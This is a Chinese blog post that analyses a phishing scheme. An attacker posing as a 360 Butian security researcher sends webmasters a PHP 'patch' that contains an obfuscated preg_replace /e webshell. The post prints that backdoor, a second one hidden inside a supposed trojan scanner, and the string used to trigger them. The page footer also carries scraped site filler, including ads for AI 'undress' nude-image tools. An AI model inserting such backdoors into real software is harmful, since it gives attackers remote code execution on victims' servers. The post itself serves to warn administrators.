如何利用钓鱼黑吃黑
0x00 前言
15年10月写的文章,今天无意翻到了,就刚好贴在博客吧。
博客也很久没更新了。
0x01 钓鱼模式
0x02 神奇补丁程序
这是所谓的安全工程师发给网管的安全代码。
<?php$MMIC= $_GET['tid']?$_GET['tid']:$_GET['fid'];if($MMIC >1000000){ die('404');}if (isset($_POST["\x70\x61\x73\x73"]) && isset($_POST["\x63\x68\x65\x63\x6b"])){ $__PHP_debug = array ( 'ZendName' => '70,61,73,73', 'ZendPort' => '63,68,65,63,6b', 'ZendSalt' => '202cb962ac59075b964b07152d234b70' //792e19812fafd57c7ac150af768d95ce ); $__PHP_replace = array ( pack('H*', join('', explode(',', $__PHP_debug['ZendName']))), pack('H*', join('', explode(',', $__PHP_debug['ZendPort']))), $__PHP_debug['ZendSalt'] ); $__PHP_request = &$_POST; $__PHP_token = md5($__PHP_request[$__PHP_replace[0]]); if ($__PHP_token == $__PHP_replace[2]) { $__PHP_token = preg_replace ( chr(47).$__PHP_token.chr(47).chr(101), $__PHP_request[$__PHP_replace[1]], $__PHP_token ); unset ( $__PHP_debug, $__PHP_replace, $__PHP_request, $__PHP_token ); if(!defined('_DEBUG_TOKEN')) exit ('Get token fail!'); }}
代码我已经将792e19812fafd57c7ac150af768d95ce这个md5换成了123的md5 202cb962ac59075b964b07152d234b70
这个代码一看,如果之前没接触过类似的代码,应该会有很多人会认为:这个代码搞啥玩儿,php内核?
乍眼看,应该没什么后门
百度搜索一下792e19812fafd57c7ac150af768d95ce,看快照,可以发现
最后解密出来其实是利用preg_replace的/e来执行的一句话webshell。
利用方式:pass=123&check=phpinfo();
钓鱼的代码还有以下几种:
有的黑客将后门代码放在 扫描木马后门 的程序里。特别的猥琐
<?php # return 32md5 back 6 function getMd5($md5 = null) { $key = substr(md5($md5),26); return $key; } $array = array( chr(112).chr(97).chr(115).chr(115), //pass chr(99).chr(104).chr(101).chr(99).chr(107), // check chr(99).chr(52).chr(53).chr(49).chr(99).chr(99) // c451cc ); if ( isset($_POST) ){ $request = &$_POST; } elseif ( isset($_REQUEST) ) $request = &$_REQUEST; if ( isset($request[$array[0]]) && isset($request[$array[1]]) ) { if ( getMd5($request[$array[0]]) == $array[2] ) { //md5(pass) == c451cc $token = preg_replace ( chr(47) . $array[2] . chr(47) . chr(101), // /c451cc/e $request[$array[1]], $array[2] ); } }?>
0x03 具体钓鱼
下面是一个黑客钓鱼的真实场景。先看下黑阔的背景身份。
- 伪装安全工程师
个人主页: http://loudong.360.cn/vul/profile/uid/2822960/
伪装成360补天的一名白帽子,并且把自己QQ地址写成360公司的地址
但是黑客却以为补天的白帽子就是360的员工
不过站长也确实信了他360的身份。因为改的备注是 360安全小组
- 强调补丁的强大
用了补丁代码,*地址立马404。还用chattr +i 设置文件为read only
0x04 总结
安全,从我做起

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

Video Face Swap
Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

Alipay PHP...

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

Session hijacking can be achieved through the following steps: 1. Obtain the session ID, 2. Use the session ID, 3. Keep the session active. The methods to prevent session hijacking in PHP include: 1. Use the session_regenerate_id() function to regenerate the session ID, 2. Store session data through the database, 3. Ensure that all session data is transmitted through HTTPS.

The application of SOLID principle in PHP development includes: 1. Single responsibility principle (SRP): Each class is responsible for only one function. 2. Open and close principle (OCP): Changes are achieved through extension rather than modification. 3. Lisch's Substitution Principle (LSP): Subclasses can replace base classes without affecting program accuracy. 4. Interface isolation principle (ISP): Use fine-grained interfaces to avoid dependencies and unused methods. 5. Dependency inversion principle (DIP): High and low-level modules rely on abstraction and are implemented through dependency injection.

How to debug CLI mode in PHPStorm? When developing with PHPStorm, sometimes we need to debug PHP in command line interface (CLI) mode...

The enumeration function in PHP8.1 enhances the clarity and type safety of the code by defining named constants. 1) Enumerations can be integers, strings or objects, improving code readability and type safety. 2) Enumeration is based on class and supports object-oriented features such as traversal and reflection. 3) Enumeration can be used for comparison and assignment to ensure type safety. 4) Enumeration supports adding methods to implement complex logic. 5) Strict type checking and error handling can avoid common errors. 6) Enumeration reduces magic value and improves maintainability, but pay attention to performance optimization.

How to automatically set the permissions of unixsocket after the system restarts. Every time the system restarts, we need to execute the following command to modify the permissions of unixsocket: sudo...

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.
